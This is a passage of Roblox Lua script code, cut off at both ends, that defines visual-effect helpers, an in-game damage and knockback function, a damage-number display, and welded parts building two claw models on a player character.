w*zs local xx = x*xs local xy = x*ys local xz = x*zs local yy = y*ys local yz = y*zs local zz = z*zs return CFrame.new(px, py, pz,1-(yy+zz), xy - wz, xz + wy,xy + wz, 1-(xx+zz), yz - wx, xz - wy, yz + wx, 1-(xx+yy)) end function QuaternionSlerp(a, b, t) local cosTheta = a[1]*b[1] + a[2]*b[2] + a[3]*b[3] + a[4]*b[4] local startInterp, finishInterp; if cosTheta >= 0.0001 then if (1 - cosTheta) > 0.0001 then local theta = math.acos(cosTheta) local invSinTheta = 1/math.sin(theta) startInterp = math.sin((1-t)*theta)*invSinTheta finishInterp = math.sin(t*theta)*invSinTheta else startInterp = 1-t finishInterp = t end else if (1+cosTheta) > 0.0001 then local theta = math.acos(-cosTheta) local invSinTheta = 1/math.sin(theta) startInterp = math.sin((t-1)*theta)*invSinTheta finishInterp = math.sin(t*theta)*invSinTheta else startInterp = t-1 finishInterp = t end end return a[1]*startInterp + b[1]*finishInterp, a[2]*startInterp + b[2]*finishInterp, a[3]*startInterp + b[3]*finishInterp, a[4]*startInterp + b[4]*finishInterp end function rayCast(Pos, Dir, Max, Ignore) -- Origin Position , Direction, MaxDistance , IgnoreDescendants return game:service("Workspace"):FindPartOnRay(Ray.new(Pos, Dir.unit * (Max or 999.999)), Ignore) end function SkullEffect(brickcolor,cframe,x1,y1,z1,delay) local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5)) prt.Anchored=true prt.CFrame=cframe local msh=mesh("SpecialMesh",prt,"FileMesh","http://www.roblox.com/asset/?id=4770583",vt(0,0,0),vt(x1,y1,z1)) --http://www.roblox.com/asset/?id=4770560 game:GetService("Debris"):AddItem(prt,2) CF=prt.CFrame coroutine.resume(coroutine.create(function(Part,Mesh,TehCF) for i=0,1,0.2 do wait() Part.CFrame=CF*cf(0,0,-0.4) end for i=0,1,delay do wait() --Part.CFrame=CF*cf((math.random(-1,0)+math.random())/5,(math.random(-1,0)+math.random())/5,(math.random(-1,0)+math.random())/5) Mesh.Scale=Mesh.Scale end for i=0,1,0.1 do wait() Part.Transparency=i end Part.Parent=nil end),prt,msh,CF) end function MagicBlock(brickcolor,cframe,x1,y1,z1,x3,y3,z3,delay) local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5)) prt.Anchored=true prt.CFrame=cframe msh=mesh("BlockMesh",prt,"","",vt(0,0,0),vt(x1,y1,z1)) game:GetService("Debris"):AddItem(prt,5) coroutine.resume(coroutine.create(function(Part,Mesh) for i=0,1,delay do wait() Part.CFrame=Part.CFrame*euler(math.random(-50,50),math.random(-50,50),math.random(-50,50)) Part.Transparency=i Mesh.Scale=Mesh.Scale+vt(x3,y3,z3) end Part.Parent=nil end),prt,msh) end function MagicBlock2(brickcolor,cframe,Parent,x1,y1,z1,x3,y3,z3,delay) local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5)) prt.Anchored=false prt.CFrame=cframe msh=mesh("BlockMesh",prt,"","",vt(0,0,0),vt(x1,y1,z1)) local wld=weld(prt,prt,Parent,cframe) game:GetService("Debris"):AddItem(prt,5) coroutine.resume(coroutine.create(function(Part,Mesh,Weld) for i=0,1,delay do wait() Weld.C0=euler(math.random(-50,50),math.random(-50,50),math.random(-50,50))*cframe --Part.CFrame=Part.CFrame*euler(math.random(-50,50),math.random(-50,50),math.random(-50,50)) Part.Transparency=i Mesh.Scale=Mesh.Scale+vt(x3,y3,z3) end Part.Parent=nil end),prt,msh,wld) end function MagicBlock3(brickcolor,cframe,Parent,x1,y1,z1,x3,y3,z3,delay) local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5)) prt.Anchored=false prt.CFrame=cframe msh=mesh("BlockMesh",prt,"","",vt(0,0,0),vt(x1,y1,z1)) local wld=weld(prt,prt,Parent,euler(0,0,0)*cf(0,0,0)) game:GetService("Debris"):AddItem(prt,5) coroutine.resume(coroutine.create(function(Part,Mesh,Weld) for i=0,1,delay do wait() Weld.C0=euler(i*20,0,0) --Part.CFrame=Part.CFrame*euler(math.random(-50,50),math.random(-50,50),math.random(-50,50)) Part.Transparency=i Mesh.Scale=Mesh.Scale+vt(x3,y3,z3) end Part.Parent=nil end),prt,msh,wld) end function MagicCircle2(brickcolor,cframe,x1,y1,z1,x3,y3,z3,delay) local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5)) prt.Anchored=true prt.CFrame=cframe local msh=mesh("CylinderMesh",prt,"","",vt(0,0,0),vt(x1,y1,z1)) game:GetService("Debris"):AddItem(prt,2) coroutine.resume(coroutine.create(function(Part,Mesh) for i=0,1,delay do wait() Part.CFrame=Part.CFrame Mesh.Scale=Mesh.Scale+vt(x3,y3,z3) local prt2=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5)) prt2.Anchored=true prt2.CFrame=cframe*euler(math.random(-50,50),math.random(-50,50),math.random(-50,50)) local msh2=mesh("SpecialMesh",prt2,"Sphere","",vt(0,0,0),vt(0.5,0.5,0.5)) game:GetService("Debris"):AddItem(prt2,2) coroutine.resume(coroutine.create(function(Part,Mesh) for i=0,1,0.1 do wait() Part.CFrame=Part.CFrame*cf(0,0.5,0) end Part.Parent=nil end),prt2,msh2) end for i=0,1,delay*2 do wait() Part.CFrame=Part.CFrame Mesh.Scale=vt((x1+x3)-(x1+x3)*i,(y1+y3)-(y1+y3)*i,(z1+z3)-(z1+z3)*i) end Part.Parent=nil end),prt,msh) end function MagicCircle(brickcolor,cframe,x1,y1,z1,x3,y3,z3,delay) local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5)) prt.Anchored=true prt.CFrame=cframe local msh=mesh("SpecialMesh",prt,"Sphere","",vt(0,0,0),vt(x1,y1,z1)) game:GetService("Debris"):AddItem(prt,2) coroutine.resume(coroutine.create(function(Part,Mesh) for i=0,1,delay do wait() Part.CFrame=Part.CFrame Part.Transparency=i Mesh.Scale=Mesh.Scale+vt(x3,y3,z3) end Part.Parent=nil end),prt,msh) end function MagicRing(brickcolor,cframe,x1,y1,z1,x2,y2,z2,x3,y3,z3) local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5)) prt.Anchored=true prt.CFrame=cframe*euler(x2,y2,z2) --"http://www.roblox.com/asset/?id=168892465" local msh=mesh("SpecialMesh",prt,"FileMesh","http://www.roblox.com/asset/?id=3270017",vt(0,0,0),vt(x1,y1,z1)) game:GetService("Debris"):AddItem(prt,2) coroutine.resume(coroutine.create(function(Part,Mesh) for i=0,1,0.03 do wait() Part.CFrame=Part.CFrame Part.Transparency=i Mesh.Scale=Mesh.Scale+vt(x3,y3,z3) end Part.Parent=nil end),prt,msh) end function BreakEffect(brickcolor,cframe,x1,y1,z1) local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5)) prt.Anchored=true prt.CFrame=cframe*euler(math.random(-50,50),math.random(-50,50),math.random(-50,50)) local msh=mesh("SpecialMesh",prt,"Sphere","",vt(0,0,0),vt(x1,y1,z1)) game:GetService("Debris"):AddItem(prt,2) coroutine.resume(coroutine.create(function(Part,CF,Numbb,randnumb) CF=Part.CFrame Numbb=0 randnumb=math.random()/10 rand1=math.random()/10 for i=0,1,rand1 do wait() CF=CF*cf(0,math.random()/2,0) --Part.CFrame=Part.CFrame*euler(0.5,0,0)*cf(0,1,0) Part.CFrame=CF*euler(Numbb,0,0) Part.Transparency=i Numbb=Numbb+randnumb end Part.Parent=nil end),prt,CF,Numbb,randnumb) end function MagicWaveThing(brickcolor,cframe,x1,y1,z1,x3,y3,z3,delay) local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5)) prt.Anchored=true prt.CFrame=cframe msh=mesh("SpecialMesh",prt,"FileMesh","http://www.roblox.com/asset/?id=1051557",vt(0,0,0),vt(x1,y1,z1)) game:GetService("Debris"):AddItem(prt,5) coroutine.resume(coroutine.create(function(Part,Mesh) for i=0,1,delay do wait() Part.CFrame=Part.CFrame*euler(0,0.7,0) Part.Transparency=i Mesh.Scale=Mesh.Scale+vt(x3,y3,z3) end Part.Parent=nil end),prt,msh) end function WaveEffect(brickcolor,cframe,x1,y1,z1,x3,y3,z3,delay) local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5)) prt.Anchored=true prt.CFrame=cframe msh=mesh("SpecialMesh",prt,"FileMesh","http://www.roblox.com/asset/?id=20329976",vt(0,0,0),vt(x1,y1,z1)) game:GetService("Debris"):AddItem(prt,2) coroutine.resume(coroutine.create(function(Part,Mesh) for i=0,1,delay do wait() Part.CFrame=Part.CFrame*cf(0,y3/2,0) Part.Transparency=i Mesh.Scale=Mesh.Scale+vt(x3,y3,z3) end Part.Parent=nil end),prt,msh) end function StravEffect(brickcolor,cframe,x,y,z,x1,y1,z1,delay) local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5)) prt.Anchored=true prt.CFrame=cframe*cf(x,y,z) msh=mesh("SpecialMesh",prt,"FileMesh","rbxassetid://168892363",vt(0,0,0),vt(x1,y1,z1)) game:GetService("Debris"):AddItem(prt,5) coroutine.resume(coroutine.create(function(Part,Mesh,ex,why,zee) local num=math.random() local num2=math.random(-3,2)+math.random() local numm=0 for i=0,1,delay*2 do swait() Part.CFrame=cframe*euler(0,numm*num*10,0)*cf(ex,why,zee)*cf(-i*10,num2,0) Part.Transparency=i numm=numm+0.01 end Part.Parent=nil Mesh.Parent=nil end),prt,msh,x,y,z) end Damagefunc=function(hit,minim,maxim,knockback,Type,Property,Delay,KnockbackType,decreaseblock) if hit.Parent==nil then return end h=hit.Parent:FindFirstChild("Humanoid") for _,v in pairs(hit.Parent:children()) do if v:IsA("Humanoid") then h=v end end if hit.Parent.Parent:FindFirstChild("Torso")~=nil then h=hit.Parent.Parent:FindFirstChild("Humanoid") end if hit.Parent.className=="Hat" then hit=hit.Parent.Parent:findFirstChild("Head") end if h~=nil and hit.Parent.Name~=Character.Name and hit.Parent:FindFirstChild("Torso")~=nil then if hit.Parent:findFirstChild("DebounceHit")~=nil then if hit.Parent.DebounceHit.Value==true then return end end --[[ if game.Players:GetPlayerFromCharacter(hit.Parent)~=nil then return end]] -- hs(hit,1.2) c=Instance.new("ObjectValue") c.Name="creator" c.Value=game:service("Players").LocalPlayer c.Parent=h game:GetService("Debris"):AddItem(c,.5) Damage=math.random(minim,maxim) -- h:TakeDamage(Damage) blocked=false block=hit.Parent:findFirstChild("Block") if block~=nil then print(block.className) if block.className=="NumberValue" then if block.Value>0 then blocked=true if decreaseblock==nil then block.Value=block.Value-1 end end end if block.className=="IntValue" then if block.Value>0 then blocked=true if decreaseblock~=nil then block.Value=block.Value-1 end end end end if blocked==false then -- h:TakeDamage(Damage) h.Health=h.Health-Damage showDamage(hit.Parent,Damage,.5,TorsoColor) else h.Health=h.Health-(Damage/2) showDamage(hit.Parent,Damage/2,.5,BrickColor.new("Bright blue")) end if Type=="Knockdown" then hum=hit.Parent.Humanoid hum.PlatformStand=true coroutine.resume(coroutine.create(function(HHumanoid) swait(1) HHumanoid.PlatformStand=false end),hum) local angle=(hit.Position-(Property.Position+Vector3.new(0,0,0))).unit --hit.CFrame=CFrame.new(hit.Position,Vector3.new(angle.x,hit.Position.y,angle.z))*CFrame.fromEulerAnglesXYZ(math.pi/4,0,0) local bodvol=Instance.new("BodyVelocity") bodvol.velocity=angle*knockback bodvol.P=5000 bodvol.maxForce=Vector3.new(8e+003, 8e+003, 8e+003) bodvol.Parent=hit rl=Instance.new("BodyAngularVelocity") rl.P=3000 rl.maxTorque=Vector3.new(500000,500000,500000)*50000000000000 rl.angularvelocity=Vector3.new(math.random(-10,10),math.random(-10,10),math.random(-10,10)) rl.Parent=hit game:GetService("Debris"):AddItem(bodvol,.5) game:GetService("Debris"):AddItem(rl,.5) elseif Type=="Normal" then vp=Instance.new("BodyVelocity") vp.P=500 vp.maxForce=Vector3.new(math.huge,0,math.huge) -- vp.velocity=Character.Torso.CFrame.lookVector*Knockback if KnockbackType==1 then vp.velocity=Property.CFrame.lookVector*knockback+Property.Velocity/1.05 elseif KnockbackType==2 then vp.velocity=Property.CFrame.lookVector*knockback end if knockback>0 then vp.Parent=hit.Parent.Torso end game:GetService("Debris"):AddItem(vp,.5) elseif Type=="Up" then local bodyVelocity=Instance.new("BodyVelocity") bodyVelocity.velocity=vt(0,10,0) bodyVelocity.P=1000 bodyVelocity.maxForce=Vector3.new(1e+009, 1e+009, 1e+009) bodyVelocity.Parent=hit game:GetService("Debris"):AddItem(bodyVelocity,1) rl=Instance.new("BodyAngularVelocity") rl.P=3000 rl.maxTorque=Vector3.new(500000,500000,500000)*50000000000000 rl.angularvelocity=Vector3.new(math.random(-20,20),math.random(-20,20),math.random(-20,20)) rl.Parent=hit game:GetService("Debris"):AddItem(rl,.5) elseif Type=="Snare" then bp=Instance.new("BodyPosition") bp.P=2000 bp.D=100 bp.maxForce=Vector3.new(math.huge,math.huge,math.huge) bp.position=hit.Parent.Torso.Position bp.Parent=hit.Parent.Torso game:GetService("Debris"):AddItem(bp,1) elseif Type=="Target" then if Targetting==false then ZTarget=hit.Parent.Torso coroutine.resume(coroutine.create(function(Part) so("http://www.roblox.com/asset/?id=15666462",Part,1,1.5) swait(5) so("http://www.roblox.com/asset/?id=15666462",Part,1,1.5) end),ZTarget) TargHum=ZTarget.Parent:findFirstChild("Humanoid") targetgui=Instance.new("BillboardGui") targetgui.Parent=ZTarget targetgui.Size=UDim2.new(10,100,10,100) targ=Instance.new("ImageLabel") targ.Parent=targetgui targ.BackgroundTransparency=1 targ.Image="rbxassetid://4834067" targ.Size=UDim2.new(1,0,1,0) cam.CameraType="Scriptable" cam.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position) dir=Vector3.new(cam.CoordinateFrame.lookVector.x,0,cam.CoordinateFrame.lookVector.z) workspace.CurrentCamera.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position) Targetting=true RocketTarget=ZTarget for i=1,Property do --while Targetting==true and Humanoid.Health>0 and Character.Parent~=nil do if Humanoid.Health>0 and Character.Parent~=nil and TargHum.Health>0 and TargHum.Parent~=nil and Targetting==true then swait() end --workspace.CurrentCamera.CoordinateFrame=CFrame.new(Head.CFrame.p,Head.CFrame.p+rmdir*100) cam.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position) dir=Vector3.new(cam.CoordinateFrame.lookVector.x,0,cam.CoordinateFrame.lookVector.z) cam.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position)*cf(0,5,10)*euler(-0.3,0,0) end Targetting=false RocketTarget=nil targetgui.Parent=nil cam.CameraType="Custom" end end debounce=Instance.new("BoolValue") debounce.Name="DebounceHit" debounce.Parent=hit.Parent debounce.Value=true game:GetService("Debris"):AddItem(debounce,Delay) c=Instance.new("ObjectValue") c.Name="creator" c.Value=Player c.Parent=h game:GetService("Debris"):AddItem(c,.5) CRIT=false hitDeb=true AttackPos=6 end end showDamage=function(Char,Dealt,du,Color) m=Instance.new("Model") m.Name=tostring(Dealt) h=Instance.new("Humanoid") h.Health=0 h.MaxHealth=0 h.Parent=m c=Instance.new("Part") c.Transparency=0 c.BrickColor=TorsoColor c.Name="Head" c.TopSurface=0 c.BottomSurface=0 c.formFactor="Plate" c.Size=Vector3.new(1,.4,1) ms=Instance.new("CylinderMesh") ms.Scale=Vector3.new(.8,.8,.8) so("http://www.roblox.com/asset/?id=199149269",c,1,1) if CRIT==true then ms.Scale=Vector3.new(1,1.25,1) end ms.Parent=c c.Reflectance=0 Instance.new("BodyGyro").Parent=c c.Parent=m if Char:findFirstChild("Head")~=nil then c.CFrame=CFrame.new(Char["Head"].CFrame.p+Vector3.new(0,1.5,0)) elseif Char.Parent:findFirstChild("Head")~=nil then c.CFrame=CFrame.new(Char.Parent["Head"].CFrame.p+Vector3.new(0,1.5,0)) end f=Instance.new("BodyPosition") f.P=2000 f.D=100 f.maxForce=Vector3.new(math.huge,math.huge,math.huge) f.position=c.Position+Vector3.new(0,3,0) f.Parent=c game:GetService("Debris"):AddItem(m,.5+du) c.CanCollide=false m.Parent=workspace c.CanCollide=false end Player=game:GetService('Players').LocalPlayer Character=Player.Character Mouse=Player:GetMouse() m=Instance.new('Model',Character) local function weldBetween(a, b) local weldd = Instance.new("ManualWeld") weldd.Part0 = a weldd.Part1 = b weldd.C0 = CFrame.new() weldd.C1 = b.CFrame:inverse() * a.CFrame weldd.Parent = a return weldd end it=Instance.new function nooutline(part) part.TopSurface,part.BottomSurface,part.LeftSurface,part.RightSurface,part.FrontSurface,part.BackSurface = 10,10,10,10,10,10 end function part(formfactor,parent,material,reflectance,transparency,brickcolor,name,size) local fp=it("Part") fp.formFactor=formfactor fp.Parent=parent fp.Reflectance=reflectance fp.Transparency=transparency fp.CanCollide=false fp.Locked=true fp.BrickColor=BrickColor.new(tostring(brickcolor)) fp.Name=name fp.Size=size fp.Position=Character.Torso.Position nooutline(fp) fp.Material=material fp:BreakJoints() return fp end function mesh(Mesh,part,meshtype,meshid,offset,scale) local mesh=it(Mesh) mesh.Parent=part if Mesh=="SpecialMesh" then mesh.MeshType=meshtype mesh.MeshId=meshid end mesh.Offset=offset mesh.Scale=scale return mesh end function weld(parent,part0,part1,c0,c1) local weld=it("Weld") weld.Parent=parent weld.Part0=part0 weld.Part1=part1 weld.C0=c0 weld.C1=c1 return weld end local modelzorz=Instance.new("Model") modelzorz.Parent=Character modelzorz.Name="Claw1" Handle=part(Enum.FormFactor.Custom,m,Enum.Material.Neon,0,0,TorsoColor,"Handle",Vector3.new(1.20000005, 1.20000005, 1)) Handleweld=weld(m,Character["Torso"],Handle,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-6.74455023, 0.843135834, 3.31332064, 0.866820872, 0.000393055088, -0.498619556, 0.129048944, -0.966104209, 0.223582461, -0.481630623, -0.258152217, -0.837489963)) mesh("SpecialMesh",Handle,Enum.MeshType.Sphere,"",Vector3.new(0, 0, 0),Vector3.new(1, 1, 1)) Part=part(Enum.FormFactor.Custom,m,Enum.Material.Granite,0,0,TorsoColor,"Part",Vector3.new(2.20000005, 1, 1)) Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.89693689, 0.0205960274, 1.83752108, 0.00084605813, 0.865680099, -0.500597, -0.999998748, 2.925843e-005, -0.00163948536, -0.00140464306, 0.500597715, 0.865678906)) Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(1, 0.400000006, 1)) Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.0205993652, 3.97038841, -4.62090921, -0.999998689, 2.810359e-005, -0.00163501501, 0.00158691406, 0.25815019, -0.966103554, 0.0003949448, -0.966104805, -0.258149862)) mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002)) Part=part(Enum.FormFactor.Custom,m,Enum.Material.Granite,0,0,TorsoColor,"Part",Vector3.new(2.20000005, 1, 1)) Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.18639517, -0.292996764, 3.91572571, -0.407002717, 0.123095758, -0.905094743, -0.483149111, -0.869928718, 0.098949343, -0.775187671, 0.477568328, 0.413536996)) Part=part(Enum.FormFactor.Custom,m,Enum.Material.Granite,0,0,TorsoColor,"Part",Vector3.new(2.20000005, 1, 1)) Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.62196398, -0.29297936, 1.11572647, -0.835932732, 0.424737811, -0.347583354, -0.483153641, -0.869926155, 0.0989501327, -0.260344028, 0.250651836, 0.932413459)) Part=part(Enum.FormFactor.Custom,m,Enum.Material.Granite,0,0,TorsoColor,"Part",Vector3.new(2.20000005, 1, 1)) Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.55920649, -0.210347176, 1.642519, -0.865201712, -0.000320911407, -0.501423895, -2.98991799e-005, -0.999999881, 0.000691637397, -0.501424074, 0.000613339245, 0.865201592)) Part=part(Enum.FormFactor.Custom,m,Enum.Material.Granite,0,0,TorsoColor,"Part",Vector3.new(2.20000005, 1, 1)) Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.931638, -0.0751047134, 4.50077248, -0.352038473, 0.176153034, -0.919260144, -0.86644727, -0.432817101, 0.248874903, -0.354031444, 0.884103954, 0.304995537)) Part=part(Enum.FormFactor.Custom,m,Enum.Material.Granite,0,0,TorsoColor,"Part",Vector3.new(2.20000005, 1, 1)) Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.34771347, -0.763819337, 1.31078529, 0.484322906, -0.259408951, -0.835546851, 0.129806682, 0.965767562, -0.224595979, 0.865206063, 0.000317394733, 0.501416266)) Part=part(Enum.FormFactor.Custom,m,Enum.Material.Granite,0,0,TorsoColor,"Part",Vector3.new(2.20000005, 1, 1)) Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.85524988, -0.0749192238, 1.7092638, -0.499263257, 0.749717236, -0.434350491, -0.866449237, -0.432811975, 0.248876765, -0.00140497088, 0.500597596, 0.865678906)) Part=part(Enum.FormFactor.Custom,m,Enum.Material.Granite,0,0,TorsoColor,"Part",Vector3.new(2.20000005, 1, 1)) Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.76954031, -0.210381031, 4.2438035, -0.257231236, -0.00066010654, -0.966349661, -3.04505229e-005, -0.999999762, 0.000691249967, -0.966350019, 0.000207226723, 0.257231265)) Part=part(Enum.FormFactor.Custom,m,Enum.Material.Granite,0,0,TorsoColor,"Part",Vector3.new(2.20000005, 1, 1)) Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.87043977, 0.020611763, 4.62094831, 0.00159165263, 0.258152187, -0.966103137, -0.999998748, 2.89455056e-005, -0.00163969398, -0.000395349402, 0.966104329, 0.258151829)) Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(1, 0.400000006, 1)) Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.292981744, 4.28636312, -3.9157095, -0.48314926, -0.869928479, 0.0989517197, -0.407004297, 0.123094313, -0.905094087, 0.775186777, -0.477569282, -0.413537562)) mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002)) Part=part(Enum.FormFactor.Custom,m,Enum.Material.Granite,0,0,TorsoColor,"Part",Vector3.new(2.20000005, 1, 1)) Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.85442352, -0.763632059, 3.85966015, -0.269319534, -0.183654502, -0.945377231, 0.129806384, 0.96576786, -0.22459501, 0.954262853, -0.183203816, -0.236260682)) Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(1, 0.400000006, 1)) Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.0751276016, 4.03159618, -4.50067854, -0.866445661, -0.432817698, 0.248879611, -0.352042913, 0.176151246, -0.919258773, 0.354030937, -0.884103894, -0.304995805)) mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002)) Gear=part(Enum.FormFactor.Custom,m,Enum.Material.Granite,0,0,TorsoColor,"Part",Vector3.new(4.29999971, 4.30000019, 1)) Gearweld=weld(m,Handle,Gear,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.0552597046, -0.0398271084, -0.0363032818, 0.999988854, -3.23429704e-005, 0.00164097548, 3.37436795e-005, 0.999994695, -0.000689953566, -0.00164103508, 0.000689953566, 0.999993086)) mesh("SpecialMesh",Gear,Enum.MeshType.FileMesh,"http://www.roblox.com/asset?id=156292343",Vector3.new(0, 0, 0),Vector3.new(5, 5, 15)) Gear=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(4.29999971, 4.30000019, 1)) Gearweld=weld(m,Handle,Gear,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.0552597046, -0.0398271084, -0.0363032818, 0.999988854, -3.23429704e-005, 0.00164097548, 3.37436795e-005, 0.999994695, -0.000689953566, -0.00164103508, 0.000689953566, 0.999993086)) mesh("SpecialMesh",Gear,Enum.MeshType.FileMesh,"http://www.roblox.com/asset?id=156292343",Vector3.new(0, 0, 0),Vector3.new(5.25, 5.25, 13.5)) Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(1, 0.400000006, 1)) Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.210398674, 3.86948943, -4.24380398, -3.15159559e-005, -0.999999881, 0.00069090724, -0.257231474, -0.000659480691, -0.966349721, 0.966349959, -0.000208158046, -0.257231474)) mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002)) Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(1, 0.400000006, 1)) Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.763661504, 3.95439076, 3.85964441, -0.129806131, -0.965767682, 0.224596098, -0.269319892, -0.1836555, -0.945376873, 0.954262733, -0.183203891, -0.236260891)) mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002)) local modelzorz2=Instance.new("Model") modelzorz2.Parent=Character modelzorz2.Name="Claw2" Handle2=part(Enum.FormFactor.Custom,m,Enum.Material.Neon,0,0,TorsoColor,"Handle",Vector3.new(1.20000005, 1.20000005, 1)) Handle2weld=weld(m,Character["Torso"],Handle2,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(6.65693045, 1.66835713, 2.9684639, 0.866025746, 0.129405379, 0.482963592, -3.67555799e-006, -0.965926409, 0.258817136, 0.499999553, -0.224144042, -0.836516559)) mesh("SpecialMesh",Handle2,Enum.MeshType.Sphere,"",Vector3.new(0, 0, 0),Vector3.new(1, 1, 1)) Part=part(Enum.FormFactor.Custom,m,Enum.Material.Granite,0,0,TorsoColor,"Part",Vector3.new(2.20000005, 1, 1)) Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.66774845, 0.445008755, 1.50737095, 0.749997497, 0.500002265, -0.433014721, -0.433012635, 0.866024196, 0.250004709, 0.500004232, -2.02655792e-006, 0.866023183)) Part=part(Enum.FormFactor.Custom,m,Enum.Material.Granite,0,0,TorsoColor,"Part",Vector3.new(2.20000005, 1, 1)) Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.70916891, 0.288796425, 1.12511444, 0.424947768, 0.836517453, -0.34591651, -0.870010257, 0.482961774, 0.0991482884, 0.250003695, 0.25881803, 0.933012009)) Part=part(Enum.FormFactor.Custom,m,Enum.Material.Granite,0,0,TorsoColor,"Part",Vector3.new(2.20000005, 1, 1)) Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.24143982, 0.288818121, 3.98402214, 0.123706907, 0.408494055, -0.904339194, -0.870007515, 0.482966691, 0.0991476029, 0.477266878, 0.774516642, 0.415139139)) Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(1, 0.400000006, 1)) Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.288883209, 4.34139919, -3.98407936, -0.870006502, 0.482969046, 0.099145025, 0.123710275, 0.408492953, -0.904339135, -0.477267861, -0.774515808, -0.415139765)) mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002)) Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(1, 0.400000006, 1)) Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 